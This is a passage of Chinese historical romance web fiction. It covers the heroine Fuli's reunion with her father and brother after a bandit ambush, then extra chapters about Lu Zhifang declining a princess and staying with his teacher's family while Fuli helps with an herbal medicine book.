陆执方在昏暗里看了她许久,才披衣要来热水善后。床头小灯罩着柔纱,灯架下,他给的那枚香囊静静放着,小像被掏出来,重新折成了纸蜻蜓的形状。 陆执方拿起,薄薄的蜻蜓翅膀对着小灯,透出来小娘子新添的几个小字——陆执方平平安安。 馥梨离开定南的第三天,陆执方收到信报。 “世子爷,洛州港夜半出现了菱花纹徽标的商船。我们的人没能先接上头,商船一行人被人押着走,眼看是往定南府方向去了。” 荆芥去护送馥梨,黄柏赴京未归,定南剩下陆家派来的护卫,陆执方叫得出名字,却并非最默契得用的人。他听完信报,还是换上了夜行衣,“刀兵带上,洛州到定南就一条主道,随我去截人。” 若商船的人先他接触到嵇锐进,就会被控制起来,他往后要想再接触,只会更迂回艰难。 同一片国域的数百里之外。 馥梨同荆芥在榆中的边州遇到了山匪。 此地仍然属于榆中府和定南府的交界,刚出陶州百里内的范围,他们再骑一会儿,就能到计划好落脚的第二个官驿,再换马穿越榆中府腹地。 那群魁梧的山匪从山坡打马而下,手持双环大背刀,在烈日下映出刺眼辉光,人马数倍于他们。 “钱财交出来,娘们留下!” “快,将他们围起来!” “缴刀不杀!” 馥梨听得心头一跳,她已作男子打扮,这些人还未跑到近前,已经笃定了他们这一行人里有女子。 荆芥勒马,慢慢退到与她并行的距离。 他压低了声音道: “馥梨姑娘,待会儿护卫带你先突围,官驿有人驻守,你去求救,我和其余弟兄拖着这群人。” “这些不是普通山匪,能行吗?” “咱还扛得住,正好许久不练手了。” 荆芥嘿嘿一笑,面上胜券在握,并没有多少紧张,缰绳猛地一抽馥梨骑的马。 马儿嘶鸣着,直直朝山匪冲过去。 馥梨心头一突,左右两边闪出同行护卫,与她并驾,三两下击退了想要阻挠的悍匪,带她撕开了一道口子,往荆芥口中描述的官驿去。 她不放心地回头看,荆芥带着剩下护卫同山匪缠斗,困住了大部分,但还有几个悍匪朝她追来。 果真,是冲着她来的。 馥梨咬牙加快了马速。 身后有破空之声响起,箭簇一阵阵飞来,不袭击她,只袭击她骑着的马和左右紧紧跟随的护卫。 她心快要跳到嗓子眼,忽而听见一道清朗利落的声音,“小梨儿,头低下!”这把男嗓有叫她无比熟悉的感觉,她还未来得及分辨,人已低头俯身。 “放箭!” 更迅疾、更浩大的破空之声自前方来。 箭簇噗嗤地没入皮肉的声音和山匪的痛呼声在身后响起,不过眨眼间,紧随她的马蹄声停了。 馥梨愣怔,扭身看了一眼。 所有穷追不舍的山匪都倒下了,马匹东倒西歪在路上扬出风沙尘土。她再往前看,耀耀日光下,身形熟悉的男子一身红黑短打,马尾束得高高的,晒成了小麦肤色的面容上,英气眉目如记忆中锐利张扬。 他身后的高坡上,是排列齐整的弓箭手 “阿……”馥梨声音堵在了嗓子眼,“阿……” 迟晟不耐烦地甩了甩马尾,下马走到她身前,“好啊你,这么久不见,连阿兄都不会叫了。” “阿兄……阿兄!” 马背上的小姑娘攥着缰绳半天,忽地跳了下来,冲力快把迟晟也撞到了地上,幸而从军生涯练出稳如磐石的下盘才接住,“这么大个人了,还哭鼻子。” 迟晟怀抱一空,小妹已急得拉起他就跑。 “荆芥小哥还在后头,后头还有山匪,快快!” “你发懵那会儿,已经有骑兵赶过去了。” 迟晟不紧不慢,将她拧了个方向,拧回面朝官驿的地儿,“你的马没坏,先同我回驿站,不累吗?” 馥梨一步三回头,直到看到荆芥和几个护卫远远在骑兵陪伴下,全须全尾地赶上来,她才上了马。 “阿兄,你怎么知道我在这里?” “阿兄还没问你,那陆世子同你是什么关系?” 迟晟从襄州出境,潜伏良久得胜回来,才知家里出变故,匆忙回京受了封赏,就往淮州赶去,在整个淮州都找不到小妹,却一日比一日急地收到这位镇国公府世子的来信催促,叫他带能调动的人马到定南。 馥梨一时语塞,已过了最危急的关头,她乱糟糟的头脑清醒过来,“是世子爷写信让你来的?” 迟晟点头。 “一开始是让我来接你,信写到了侯府,后来发现我不在京中,又派人辗转到淮州找我。直到前一阵,叫我派人到榆中府和定南府的交界官道戒备等候。” 馥梨听过后恍然,陆执方不是前几日才起了送她走的心思,他自得知阿兄消息,还有五叔被困在如溪县时,就在谋划了。 “是定南知府想把我劫走作人质,等我出了陶州的地界,再被假山匪劫走,他就能撇清责任了。” 兄妹说话间,官驿到了,就在眼前。 馥梨连这一刻都等不了了,“阿兄,”她眼眶有些泛红,“你能不能派人去帮陆执方?他在查的案子就是我们家的,爹爹没有遇船难,他还活着。” 迟晟一指驿站门匾上的白鸽,“他最新寄来的信,已经将事情来龙去脉都说了,我的人,你看到的是这些,实际还有更多,都伪装成民壮,自陶州城去接应你嘴里这位世子爷。” “要不是同我迟家有关……” 迟晟扫了一眼她挂心的模样,心道这位陆世子心思缜密,走一步想三步,小妹心思浅,跟在他身边,岂能有不吃亏的理。怕是被人卖了还替他收钱。 馥梨不知他心思,人随他迈入了驿站。 “我如今已经安全,官驿有阿兄的人还有荆芥小哥在守着。阿兄能不能快些去帮帮他?” “……” 迟晟本就打算接到了她,再去支援,如今听亲妹这般催促,连坐下喝一口茶都等不及,不禁冷笑一声。此时正有手下提着两个山匪活口过来,迟晟拎了马鞭,咬牙切齿,“待我把这两人审完就去!” 这浑身憋气,正好出一出。 迟晟审到入夜,山匪果真是嵇锐进派来的。人捆起来先送到榆中官府,便策马赶去陶州。 馥梨在官驿坐定,还有些恍如隔世。 驿站里守着便装军士,随处可见气质如巨石沉默坚毅的身影,阿兄不开口时,也有这种感觉。她睡醒一觉,掐了掐自己的脸,又去看看那些军士。 阿兄真的回来了,真好。 她定了定心,每日哪儿也不去,就守在驿站。 房屋的窗台上撒着黄灿灿的粟米,等着信鸽。馥梨每隔一日,都能收到阿兄或者陆执方寄来的信。 信都很简单,大多数是寥寥几个字。字迹狂草写得飞横跋扈是阿兄的,端雅流畅是陆执方的—— “洛州商船已到港。” “父亲平安无事。” “已查探洋麻在山中作坊地点。” “已去信京中。” “明日围剿嵇府,顺利即返。” 信鸽的信,自这日就断了。 窗台铺满了黄灿灿的粟米,再无白鸽来啄食。 馥梨算着她与荆芥从定南到榆中的路程,一日两日三日……心在日复一日的等待中悬了起来,像是被一只无形的大手抓起来,时不时重力揉搓。 等到了第十日,再怎么慢慢磨蹭地启程,他们也该顺利到榆中边州的时候,驿站还是没有陆执方和阿兄的任何消息。馥梨一大早起来就换了轻便男装,拉开门看到荆芥守着,“馥梨姑娘。” “我等不及了,荆芥小哥,我想去找他。” 馥梨想绕开荆芥。 荆芥又一步拦在她面前,“世子爷他……” “我就是想知道他到底怎么了……” “他不挡着你,你就该扑空了。” 话音叠在一起,是陆执方沉静清冷的声音。 馥梨愣住,猛地回头,望见青年郎君风尘仆仆,依旧穿着那身黛蓝底白鹤纹圆领袍,衣袍旧了两分,还有破损。他一条手臂包扎着纱布,还能看出渗出来的血迹,就这么静静站在同一层厢房的回廊尽头。 馥梨眨眨眼,一步步走到陆执方面前。 她摸了摸他没受伤的那条手臂,结实的,透出来亲手可触摸的温热,“定南的事情,解决了?” “算是解决了,回来路程遇到些……” 陆执方话未讲完,馥梨已搂着他靠了过来,一边惦记着别压到他的手臂,一边轻声问:“我爹爹和阿兄可还好?都一起平安回来了吗?” 小娘子眼眶里有泪在打转,忍着不落下来。 声音轻得像是怕惊醒了一个不可置信的美梦。 陆执方垂眼,听见身后门吱呀一声拉开。 他轻咳了一声,“眼泪收一收,不然你父兄要觉得我欺负你了。”他侧身让了让,“今日生辰,上次说过的愿望,刚好实现,还不算晚。” 馥梨顺着那扇敞开的门看向屋内,阿兄扶着身形瘦削的锦衣男人,黑发中掺杂几根银发,面容有些沧桑,看她的目光很和蔼,眉眼弯起时绽出了笑纹。 “小梨儿。” “爹爹。” 馥梨喃喃,擦了擦眼睛,听见阿兄笑骂,“傻愣着干嘛,快过来呀。”她一下子松开了他,朝父兄跑去。 陆执方托着那受了轻伤的手臂看。 屋内朝阳的那扇窗开着,旭日东升,阳光正盛,照在一家团圆的父女兄妹身上,小娘子眼角的泪花熠熠,好似碎星子。哭红了的杏眼朝他轻眨,又露出个亮晶晶的笑来,唇边浮现一朵小小的梨涡。 “世子爷,我找到家里人了。” “嗯。” 他陆执方以后,也会是她的家里人。 心愿不必折成纸蜻蜓,不必丢进树洞里。 有一个算一个,统统都帮她实现。 —正文完— 40-50 第41章 “你也可以,喊我小梨儿…… 陆执方不是第一次被召进御书房。 自他被陛下点为探花郎后,入了大理寺从底层做起,一路勤勉升到少卿位置,已有好几次经手查官员贪墨的大案,被陛下在散朝后留在御书房问询。 这一次来,却是因为他的无心之举。 御案一侧的紫檀龙纹三屏风小宝座上,云梦公主已恢复日常华美装束,一双明眸笑吟吟看向他。 宣帝将手中奏疏放下,看了云梦一眼,口中有嗔怪之意:“朕说已着人去镇国公府聊表谢意,云梦非要当面谢你,这才把陆少卿召进来这一趟。” “滴水之恩当涌泉相报,仅是送些身外之物,怎么成?”云梦巧笑倩兮,抚了抚那身逶迤拖地的牡丹薄水烟长裙,对着陆执方的方向一礼,“云梦在此谢过陆少卿搭救之恩。陆少卿不止是免去了我的麻烦,还是免去两国邦交起龃龉,功劳可大着呢。” 陆执方让半步:“随手为之,殿下不必记挂。” “陆少卿,接下来的春猎,你会去的对吗?” 云梦没有在意他不冷不热的态度,靠近一步问,眸子扑闪扑闪地在观察这个冷面郎君。 每年春猎,五品以上的文官武将都能够参加,不过有些文臣骑射不怎么样,拼不过武将,也不爱凑热闹,是以总是找借口推脱。 云梦是想陆执方去的。 他在前朝,她在后宫,又不能日日这样召进来闲话家常。可陆执视线始终盯着御案下的锦毯:“臣骑射技艺平平,大理寺公务还忙,历年都是不去的。” 此话一出,气氛仿佛凝滞了一瞬。 陆执方能感受到来自宣帝的视线威压。 云梦公主愣了愣,没有发火,再细细打量他,从那张俊俏的皮囊看到衣衫打扮,视线忽而被他的腰带吸引了去。时下青年郎君流行佩戴玉佩、折扇、香囊、玉石雕刻的宝剑挂坠,佩戴绢花的很少。 那绢花色泽素雅,同他今日衣袍相衬,不仔细看还看不出来。云梦眯了眯眼,看清楚了上头淡白色的绣花,“陆少卿这腰饰好生别致啊。” “是心仪女郎的物件,臣擅自珍藏了。” “是哪家姑娘?” 云梦笑吟吟的表情不变,未见怒色,反而起了兴致。陆执方看了一眼宣帝的方向,“回禀殿下,婚姻之事未定,臣说出来,恐怕污了女儿家的清誉。殿下同为女子,应当能够体谅。” “你把人家手帕纸别腰上,就不怕毁了她清誉?”宣帝冷冷一笑,想发作,偏想到了陆执方叫护卫救了云梦的功劳。陆敬家的这臭小子就是故意的。 朱砂笔掷到了案上。 “啪”一声,在落针可闻的御书房里分外刺耳。 镇国公府里,陆敬和苗斐就在前堂等儿子回来。 “这都去了快两个时辰了,怎么还没出来?” “夫人坐定了等,走来走去,晃得我眼晕。” 苗斐可定不下来。 昨夜父子俩说完后,陆敬就黑着一张脸来了清夏堂,同她说了陛下召执方进宫的真正用意,让她留意皇城适龄贵女的功夫都先停一停。苗斐当下应了,在夜里垫高枕头,想到的却是陆执方给她捶背那次。 陆敬不过问内宅事,心里都是朝堂与权势,并不知道儿子同个婢女厮混的事情。再说,就是知道了,在他心里估计也不是大事,成婚前把人打发了就是。 苗斐犹豫了一瞬,终究是没有把事情说出来。 她勉强坐定,听见一阵急匆匆的脚步声,是高扬,“大老爷,大太太,世子爷回来了。” 没过一会儿,瞧见一道天青色的挺拔身影,步履从容地靠近,儿子好端端的,手脚齐全,走路稳健,看起来没有脑子懵了拒婚,惹得圣上大怒吃板子。 苗斐松了一口气,陆敬的心却吊起来。 “父亲,母亲。” “陛下召你进宫,都说什么了?” “主要是云梦公主在说,陛下并未同儿子讲太多话,”陆执方知道父亲最关心的是什么,“除却昨日送到镇国公府上的物件,陛下还赏了儿子另一样。” 陆敬的喜色还未浮到脸上,陆执方的话音补上:“特准儿子半月不必去大理寺点卯。” 陆敬愣怔了数息:“那可有说这半月要你做什么?陪云梦公主玩乐?” 陆执方摇头:“没有。” 这同闭门思过有什么差别? 陆敬的脸色终究是沉了下来,“你到底和云梦公主说了什么,惹得陛下如此生气?” 陆执方沉默不语。 “陆执方。” “不说?那你同陆家的列祖列宗去说!” 上一次见列祖列宗的牌位,是新岁祭拜。 陆执方在祠堂守门人的注视下,一步步迈进去。 他面色平静,伸手触到了神龛底下的机关。机关转动,角落藏在阴影里的石砖打开,露出了更浓重、更伸手不见五指的黑。 皇都高门大宅,都有隐秘的地下室,有的甚至有密道,为了防止战乱或抄家这样的祸事,能保存子嗣的一线生机。镇国公府的地下室,保存的不是生机。 陆执方迈开脚,新净的宝相纹缎靴踏入石阶,一步步从香火明亮的祠堂,隐入冰凉死寂的地下。 他在幼年曾经困惑,害怕突然变得严厉的父母亲,害怕鬼神,害怕病重到脱相的兄长的亡魂。 他费了很大劲才明白,压着他的,从来不是天资聪颖却早夭的兄长。 但现在不一样了。 腰间的绢花早被他摘下,叠成小方块,捏在掌心里摩挲,生出暖意来。人若是知道了自己为何受苦,往往就不觉得苦了。陆执方完全走入了地下室,守门人转动机关,石阶徐徐合上。 祠堂香火安静燃烧,照亮了揩拭得一尘不染的陆家列祖列宗牌位。祠堂外,春日灿烂喧嚣,透过树影流淌出深深浅浅的碎金光芒。 陆执方仿佛没来过,凭空从这个人间消失了。 陆执方寝屋的灯,到子时都没再亮起。 第一夜没有亮起,直到第二夜,天幕挂起了冷冷弦月,都没有再亮起的意思。馥梨甚至找不到木樨和荆芥打探消息,他们在第一夜的白日就忽然都出去了。馥梨沐浴完,待着她的屋子里,独自踱了两圈。 她提上了风灯,往畅和堂去。再回来时,脚步一顿,倏尔望见陆执方的屋里亮了灯,荆芥守在门外。 馥梨快步走近去,荆芥伸手把她拦下了。 她也没想闯进屋门,“是世子爷回来了吗?” 荆芥点头。 屋里的陆执方的声音淡淡:“怎么了?” 馥梨一愣,很多话涌到了嘴边,却不知最先出口的要问哪一句。世子爷进宫去是见公主吗?为何消失了一夜两日才回来?消失的这些时候,在做什么? 独自一人时游移不定的猜测和患得患失,在听见陆执方的声音后,霎时间消失,取而代之的,是新的冲动。她当着荆芥的面,忍着羞赧,问了出口:“你还好吗?我想进屋去看看。” 荆芥一听,摸了摸鼻尖,闪身退到了馥梨看不见的地方。门扉内,陆执方静了一会儿才回答,“现在不方便,我准备沐浴了。” 沐浴的小净室在主屋西侧,同陆执方里屋不连通的。有什么好不方便的,他就是只穿单衣出来,她也都看过了。馥梨抿抿唇,站着没动。 一门之隔,陆执方也在看她投落在隔扇门的剪影。那剪影一晃,似乎走开了。他松一口气低头,门扉猝不及防被推开来,对上馥梨一双明澈的杏眼。 屋内灯火比平日里黯淡许多,灯轮上只有两盏。 两盏,足够馥梨看清楚陆执方眼角眉梢的疲惫。他像是操劳奔波了好几日,容色恹恹,连总是梳得一丝不苟的鬓发都有一丝凌乱。外衫半褪,露出素绢中单,勾勒一副清薄骨架。 “世子爷。” 陆执方有些无奈,眸光对上她的。 “那日我同你遇见,在街上被纠缠的,原来不是肖家女郎,是云梦公主。昨日宫里来人是为了这事,将我召进宫里去,也是为了这事。” “陛下或许有促成的意思,我已设法拒了。” “父亲知晓,罚我跪了两日一夜的祠堂。” 青年郎君的语气轻描淡写,似是在叙述一件再平常不过的事情,不疾不徐将外衫完全脱下,“真要去沐浴了,还想跟着伺候不成?” 馥梨踮了踮脚,手掌抚上他肩后,中衣不干爽,甚至还凉凉的,顺着肩线去摸手臂和手指,陆执方的指尖也凉。她想到了他们去地牢看闻人语后,陆执方那一身的冷汗。 两日一夜,跪的不是祠堂。 “世子爷快些去沐浴吧,别着凉了。” 馥梨很快让开了门的位置。 小净室里,一灯如豆。 浴桶热水冒着袅袅白烟,飘着辟秽去寒的艾叶。陆执方整个人浸泡进去,热水暖融融,将地下室陈旧腐朽的气息都洗刷了干净。 他像是重归人间。 身后传来脚步声,是来替他沐发的南雁。 陆执方放松地靠着浴桶边缘,感觉有一只手轻轻柔柔地取下了他的发冠,解开他缠绕的发髻,慢慢疏通。陆执方一愣,南雁动作也轻,但没有这般细致。 他修长的颈脖往后仰,对上了馥梨的脸。 “怎么进来的?” “我同南雁说,我要进来,他就走了。” 整个静思阁都以为,她已是世子枕边人。 馥梨把他脑袋推回去,发髻解完,通顺完,再用木瓢勺起一勺温水,从发尾开始淋,徐徐浸没到发顶,很小心地,擦拭去从他眉骨滑落到脸颊的水珠。 热水淹没到陆执方胸口,雾气和艾叶掩盖,馥梨只看到了他的锁骨和肩膀,覆盖着薄薄的肌理。 她移开了视线,用香胰子给他净发。 陆执方湿漉漉的手从水里伸出来,精准地绕到脑后,扼住了她的。浸泡在热水里的手指,灼烫温热。 “不必做这些。” “就像世子爷说的,做了,我心里好受。” “愧疚之人才需要好受,你不需要。” 陆执方强硬地攥住她的手腕,拉到自己面前,将她掌心那块香胰子取出,一下子丢到浴桶里。香胰子落入水中,落入她绝不可能伸手去捞的深处。 馥梨手指在他面前蜷缩起来。 陆执方将她掌心贴在脸侧,摩挲了一下。 他疲惫依旧,温柔依旧。 “馥梨,或者迟霓,要怎么称呼?” “是我陆执方想要你,是我想娶你,有些代价,理应由我来付。” 馥梨听得默然,想起的是见胥垣和沈霜月那日。 其实,沈霜月不止问了她同陆执方的关系,还颇不赞成地提醒过她——“你同九陵身份悬殊太大,即便他有心为你谋划,流言蜚语难免会落到你头上。我多管闲事,不是想拆散你俩,是以过来人身份提醒,此事最难不是门第偏见,不是诛心谣言,是只有一人在坚持。你若没做好准备,趁早回绝了九陵。” 她想过了的,陆执方何时放弃,她何时放弃。 但现在她不这么想了。 她不想只有陆执方一个人在憧憬和坚持。 馥梨另一只手,从陆执方的左肩上伸过去,扣住自己的手腕,从身后俯下,松松环住了他。 “世子爷可以叫馥梨,我入府是高扬管事安排的,他让识字的丫鬟从名册上自己选名字。我母亲姓馥,我本名迟霓,小时候学说话,口齿不清,经常把自己名字念成‘吃梨’,爹娘就喊我小梨儿。” “世子爷也可以,喊我小梨儿。” 柔嫩的脸颊贴着他的,轻轻柔柔的说话声音透过共鸣,在水汽缥缈里,直接传到他的身体里。 陆执方忽而转了个方向,将她拽过来。 馥梨一下失了重心,双手扶着他肩膀,领口心口位置的衣裳沾了水,很快被蔓延上湿热的感觉。春衫清薄,湿了之后,好像直接贴上了青年郎君蓬勃结实的身体,还有激越的心跳。 净室不适合亲吻,再分开时,人有些迷糊。 有什么在她眼前一晃,白影掠过。 是陆执方扯过木施上他原本要换的中衣,裹到了她身上,将她一把推远了些。她还有些失神。 “世子爷?” “回去收拾,好了后,叫南雁送新中衣来。” 陆执方用最后的克制,哑声嘱咐。 少女明净玉靥上挂了些微水珠,不明所以地拢着他的中衣,湿润服帖的衣襟凌乱,露出一片雪色,还颇为体贴问他:“要小厨房再重新烧些热水来吗?” 倒盆冷水还差不多。 陆执方深吸了一口气,拒绝得斩钉截铁。 “不必。” 第42章 “要不要认我?”…… 宣帝令陆执方赋闲半月,原话是“不必去大理寺点卯”。陆执方闭门不过三日,就收拾常用物件、书册,带馥梨去了滦贤山小住。 “世子爷,这样会惹得陛下和大老爷不高兴?” “债多不压身,他们本就不高兴了。再说去拜会老师,在父亲看来是正经事。” 胥垣虽然是致仕的半隐退状态,滦贤山仍然在皇城外一日可往返的距离,太子殿下至今在朝堂上遇到棘手难题,也习惯出宫来拜会昔日恩师,遑论是胥垣曾经栽培过,已官居高位的几个门生。 毕竟开国以来,能连中三元的,只胥垣一人。 这次他们带着行囊,没在半山腰再遇上胥垣。 菜畦旁的野地里,胥垣正在挖荠菜,鲜嫩柔绿的一茬茬,无需精心耕作也能蓬勃生长。他远远见陆执方几人,拍干净手里泥土,“你莫非被罢官了?” “不至于。”陆执方失笑,指了指行囊包袱,“我们来叨扰老师和师娘,借住几日。” 胥垣又去看馥梨。 馥梨替沈霜月处理过药材后,有了对比,沈霜月就开始嫌弃他和小僮弄得不细致。这来得正是时候。 “师娘呢?” “昨日刚收了一批晾晒的药材,正忙着分切。” 灵秀可爱的小姑娘对上他意有所指的目光,很是殷勤,将包袱皮子递给陆执方,细声细气地问:“世子爷,我想去帮沈大夫切药材。” “去吧。”陆执方自然地把那包袱拎好。 这一次,瞧着比上次相处更有默契了。 胥垣又蹲下去,“包袱快放到一旁,帮我把这些荠菜都挖出来。”他身前这一片野地都是荠菜。 陆执方估算了片刻,“老师这里来客人了吗?”全挖出来,不止是他们几人的食量。老师不喜浪费,即便是贱得卖不上价的野菜。 “来得可多了,还是我使唤不动的。” “殿下来了?” 胥垣没应,只催他干活。 果然,收拾完毕,陆执方去到主屋,便见有身材精悍的青壮男人,各自隔了一段距离,将主屋团团围住。他与胥垣要靠近,护卫道一声得罪了,来搜他的身,确认没有暗藏凶器,才侧身放行。 屋门推开,茶香袅袅,一人坐在茶座旁。 男人气度沉稳,长相酷似宣帝,英俊威仪,即便低眉敛目地冲茶,也有一股不怒自威的气势。 正是当朝太子,宣帝的嫡长子高舸。 高舸听见脚步声抬头,见了陆执方亦一愣,随后亲切地喊了他的字:“九陵。” “太子殿下。”陆执方要行礼,被高舸止住,“此处是老师居舍,无须多礼。” 高舸比陆执方年长几岁,两人拜在同一师门。 昔日胥垣还未请辞时,府邸设在皇城,两人既有师兄弟之义,便有了朝堂之外的交往。 然而,宣帝正是老当益壮,不喜朝臣过分逢迎东宫,陆执方同高舸的君子之交,当真也点到为止。 茶案旁的方几上,摆了好些宫里送的东西。 陆执方等胥垣坐下后,在下首落座,瞥了那些物件一眼,过分隆重了,不似寻常探望。 “孤提早来给老师送寿礼。老师大寿当日是春祭,孤恐怕分身乏术,赶不上来贺寿了。” 高舸给胥垣和陆执方推去亲手冲泡的热茶。 几人续了旧,高舸就春闱放榜,同胥垣讨论首榜进士里,何人可用,又谈及南方春汛,洪水影响周边农田、村庄和城镇,导致作物受灾、房屋损坏和百姓伤亡,户部正在想办法弄银子赈灾。 “这几日,太子妃正在筹备义卖,邀请皇城高官富户解囊,捐献珍宝。老师与九陵可要支持一二?” 高舸与太子妃青梅竹马,商议对策也不忘游说。 胥垣在书法上有大成,陆执方在书法出类拔萃,也是得胥垣指点的缘故。可惜,胥垣已许久不替人提字,传闻民间有富商建新宅邸,拿了千金登门求墨,连胥垣的面都没见着。 “蓬门陋舍,哪里有珍宝可解囊,不过近日得了一副画作,珍藏许久,倒是可以拿出来义卖。” 胥垣将茶一饮而尽,起身招呼高舸与陆执方去书房。高舸一入书房,就见正墙原先挂着的山鹰花石图不知何时被换下,挂上了另一幅意境清雅的山水画。 高舸留意看了,画是好画,却没有辨认出是哪位名家所作,落款只得一个梨字。要是就这么拿去拍卖……恐怕难以难起价。 他正想开口询问,听得胥垣吩咐陆执方。 “九陵把画拿下来,替我磨墨。” 画卷取下,铺开在长条案上,胥垣挑了一支笔,竟就在山水画底下的空白处题跋,一气呵成落了名姓,再从暗屉中取出印章,正儿八经地落下了钤印。 高舸想开口的心便打消了。 义卖还未开始,他已经能预想到这幅画拍出的高价。胥垣的墨宝不多,胥垣流传于世的私人藏品更少,一同出名的,还会是这位名不见经传的画师。 墨迹晾干,高舸吩咐护卫将画卷收好。 胥垣瞧着时辰差不多,挽起衣袖往厨房去,书房里转眼剩下高舸和陆执方。 高舸早知他被迫赋闲一事的缘由,语气里有淡淡抱怨:“你就非得驳了云梦不成?一场春狩而已。” “臣实话实说,历年都是不去的。” “你去,完了孤在父皇面前替你说几句话。父皇惜才,很快便能气消了。” “殿下……” 陆执方没说话,面上表情将意思传达得分明。 高舸理了理袖子,“是上次闹得不欢而散,云梦还想见你一面,说有话要问。我这个皇妹,不是爱纠缠的人,你好好同她说道清楚,她还能死缠烂打吗?陆执方,你就是看在孤的面子上。” 最后一句话,已然区分开了君与臣。 小厨房炊烟袅袅,鲜美可口的饭菜备好了。 小僮端来了两人份到药房这头来,给沈霜月和馥梨,“先生那里来了客人。”沈霜月知道太子来是要商议重要的朝堂事,懒得去逢迎,只招呼馥梨吃饭。 “我还差最后一点,沈大夫先用吃吧。” 少女埋首案头,一手捏着一株羊蹄草,一手运笔在纸面上勾画,单薄的背影透着乖巧文静。 沈霜月脚步轻轻,来到她身后。 编写草药典籍,配图所画,准为先,美为次。 纸面之上,羊蹄草的茎与分枝、下部卵形叶、上部抱茎而生的叶面与叶背、花序与结果,都按照阐释说明,精准表现了特质,再兼顾植物的优美形态。 草药典籍覆盖了几千种草药,沈霜月也时常怀疑,自己能否在有生之年编撰出初稿。 有馥梨帮忙,无疑快很多。 馥梨感觉有什么在动自己的发髻。 她画完最后一笔,侧头发现是沈霜月,沈霜月手刚触到她,表情僵了一下,手收回去,“吃饭吧。” “好。” 她同沈霜月坐到桌边,沈霜月吃饭时鲜少言语,但给她夹了一筷子菜。馥梨眉眼弯弯,道了声谢。 在滦贤山的日子很平静,比在静思阁还平静。 馥梨不用替陆执方收拾打理寝屋,只要给沈霜月打下手,采药、清理、晾晒、切药、编写草药典籍。 很多时候,沈霜月去采药,不是某种药材用完,而是为了编写。同一种植物采好几棵,带回去辨析形态,记录特点,再相应配图。是以费力费时,时常会逛遍了某座山,都没找到某一种要编写的药草。 这日里,馥梨跟着她,还有杂役小僮去了滦贤山西侧的那座小山。运气不错,打算采的好几种药材都找到,还差一种叫五裂黄连的,常长在密林下阴处。 眼看日头有西落迹象,沈霜月比以往更早地决定回去。她一个老妇人带着小僮无事,带着娇俏漂亮的小姑娘,遇见歹人了就是祸事。 几人一人一箩筐在背上,走着走着,却在山坡下凹陷处,看见了长得像五裂黄连的植物。 沈霜月疑心自己看错,正凝着目光,已听见馥梨语带惊喜:“沈大夫,看那里,就是我们要找的。” 她点头,扎起了裙裾,“我下去看看。”话刚说出口,就看见了馥梨和小僮不赞同的眼神。 小僮稚声稚气:“我手脚灵活,我去。” “采摘要保存根须,茎叶完整,你做不好。” 沈霜月摆摆手,别的草药还好,五裂黄连难找,瞧着只有那么一小片,要是弄坏了,还得再漫山遍野地碰运气。她刚要迈开脚步,馥梨已先她一步,走到山坡下凹处,斜着大半个身子探下去。 “我来吧,沈大夫放心,不会弄坏的。” 那片下凹地势陡峭,稍不留神就会滚下去,幸而四处长了疏松树木,可以扶着。 馥梨出门时,身上换了沈霜月给的粗布衣裙,不怕剐蹭,小心翼翼来到那丛五裂黄连生长处,解下了箩筐放到稍微平整的地面,按着沈霜月的要求,仔细把此地的五裂黄连都采摘了,放入箩筐里。 沈霜月看得提心吊胆,正要松一口气,山坡凹陷处突然蹿出个狸奴大小的,似鼠非鼠的动物,把馥梨吓了一跳。少女一声低呼,脚下一滑,人影就消失在沈霜月和小僮的视线里,滚入地势更低矮处。 沈霜月着急喊了两声,“馥梨?馥梨?” 馥梨没回答。 “下去看,别等了。” 正当她和小僮亲自下去看时,馥梨颤巍巍的声音再传来:“沈大夫,我没事,不、不用下来。” 藕色粗布裙裳再次出现在视线里,少女扶着斜坡的树干,慢慢爬上来,拾起留在地上的箩筐,艰难地来到他们面前。沈霜月和小僮齐齐伸手把她拉上来。 馥梨形容狼狈,身上多处有刮擦痕迹,就连脸蛋上都有细细的血丝,眼睛却亮晶晶的,“还好方才把箩筐解下来,不然就跟我一起滚下去了。” 沈霜月没接话,去按她手脚关节。 馥梨原地给她蹦了好几下,“沈大夫,我真没摔坏,就是小石子硌了几下。” “别乱动!”沈霜月语气严肃起来。 馥梨霎时定住了,乖乖任她检查。沈霜月确认她无事后,脸色才算缓过来,抱走了馥梨的篮筐不叫她背了,“赶紧回去,天要黑了。” 走的时候,一路也无话。 沈霜月好似回到了馥梨第一日见的时候,沉默,严肃,身上笼罩着难以接近的气质。 馥梨大着胆子,去扯了扯她的衣袖,“沈大夫,箩筐我可以自己背的。” 沈霜月没答话,唇抿成了一条线。 “沈大夫?”她扯着那袖子晃了晃。 “沈大夫,我背上好像有些痒,是不是滚在地上碰到棘麻草了?”小姑娘的声音嘀嘀咕咕,软糯糯,手艰难地反过去,够自己的后背,偏生碰不着。 “哪里痒?” “就这、这儿……” 沈霜月把箩筐放下,去摸她纤弱的背,隔着薄薄的衣衫,没摸出太明显的红肿来,“不像棘麻草。”倏尔,手摸空了,馥梨一步蹿开去,抱起地上的箩筐就小跑,跑开了一段距离,确认沈霜月不会追来后,才自己重新背上。 “沈大夫,我真的无事。” 夕阳被树影分割的碎金,好似也落入她明亮清澈的眼眸里,“要是沈大夫去摘五裂黄连受伤了,耽搁的是需要你看诊的病人、等着你编写的草药典籍,有好多人会受累。”馥梨掰着指头数,“要是我受伤了,能顺理成章躺着休息,世子爷也不会扣工钱。” 沈霜月唇动了动,不知说什么。 走到她面前时,衣袖又给馥梨轻轻拉了一下。 沈霜月吐出一口浊气,那郁闷散了,抬手摘下了她发髻的一片叶子,“你这花脸模样,叫九陵看见了定要怪我没看顾好你。” 馥梨没镜子,看不到自己此刻模样,闻言用双手摸了摸脸颊,终于露出个惨兮兮的表情来。 滦贤山主屋里。 陆执方等到过了胥垣说往常师娘回来的时间,正打算去寻人时,却见只有沈霜月回来。 “师娘,她呢?” “采药累了,回房歇着。” “我去看看。” “你回来。” 沈霜月把人喊住,小姑娘爱俏,回来看见脸上刮出了好几道细血丝,哪里想此刻见到陆执方。 陆执方脚步定住,面上表情仍是想去看。 沈霜月一指桌案:“我渴了。” “师娘喝茶。”陆执方倒了一杯温茶,不过片刻听见沈霜月问,“我听胥垣说了,你想请他当保山?那馥梨那头怎么安排?” 她不等陆执方回答,自顾自说下去,眼神冷静而犀利,“你想给她一个稍微说得过去的身世,最好是找官宦之家的老夫人,将她认作义女。找比你等阶高的官,你需要欠人情和利益,找比你等阶低的官,只要利益,但风险更大。” 沈霜月放下了茶盏,语气有点恨铁不成钢: “你都敢厚着脸皮找胥垣当保山,怎么就不能脸皮再厚一点,要求多一些?这样还愁没有良媒吗?” 陆执方脸色一怔,“师娘意思是……?” 